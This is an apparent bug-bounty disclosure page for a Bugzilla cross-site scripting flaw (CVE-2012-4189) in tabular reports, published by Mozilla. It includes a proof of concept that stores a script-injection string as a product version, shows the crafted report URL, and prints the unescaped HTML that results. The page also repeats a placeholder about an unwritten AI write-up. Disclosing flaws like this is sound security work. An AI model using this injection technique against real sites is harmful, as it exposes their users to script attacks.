[SECURITY] Field values are not escaped correctly in tabular reports
Originally disclosed on Mozilla
- Fixed in 2 months
- Paid in 14 months
- Disclosed after 2 months
PoC:
http://localhost/cgi-bin/bug/editversions.cgi?action=add&product=TestProduct ->
Version: "><script>alert(1);</script>
Add new bug to "TestProduct" with version "><script>alert(1);</script>
http://localhost/cgi-bin/bug/query.cgi?format=report-table ->
Horizontal Axis: Version
should be the results: Version: "><script>alert(1);</script>
-> Generate Report
http://localhost/cgi-bin/bug/report.cgi?x_axis_field=version&y_axis_field=&z_axis_field=&query_format=report-table&short_desc_type=allwordssubstr&short_desc=&resolution=---&longdesc_type=allwordssubstr&longdesc=&bug_file_loc_type=allwordssubstr&bug_file_loc=&keywords_type=allwords&keywords=&deadlinefrom=&deadlineto=&bug_id=&bug_id_type=anyexact&version=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&emailassigned_to1=1&emailtype1=substring&email1=&emailassigned_to2=1&emailreporter2=1&emailcc2=1&emailtype2=substring&email2=&emaillongdesc3=1&emailtype3=substring&email3=&chfieldvalue=&chfieldfrom=&chfieldto=Now&j_top=AND&f1=noop&o1=noop&v1=&format=table&action=wrap
Result:
+ oColumn.field + "&version="><script>alert(1);</script>'>"
elLiner.innerHTML = "<a href='buglist.cgi?action=wrap&resolution=---&version="><script>alert(1);</script>'>"
<a href="buglist.cgi?action=wrap&resolution=---&version="><script>alert(1);</script>">5</a>
<a href="buglist.cgi?action=wrap&resolution=---&=%20&version="><script>alert(1);</script>">5</a>
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A critical-severity security bug in Reporting/Charting. Mozilla made it public on 13 November 2012 as CVE-2012-4189.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.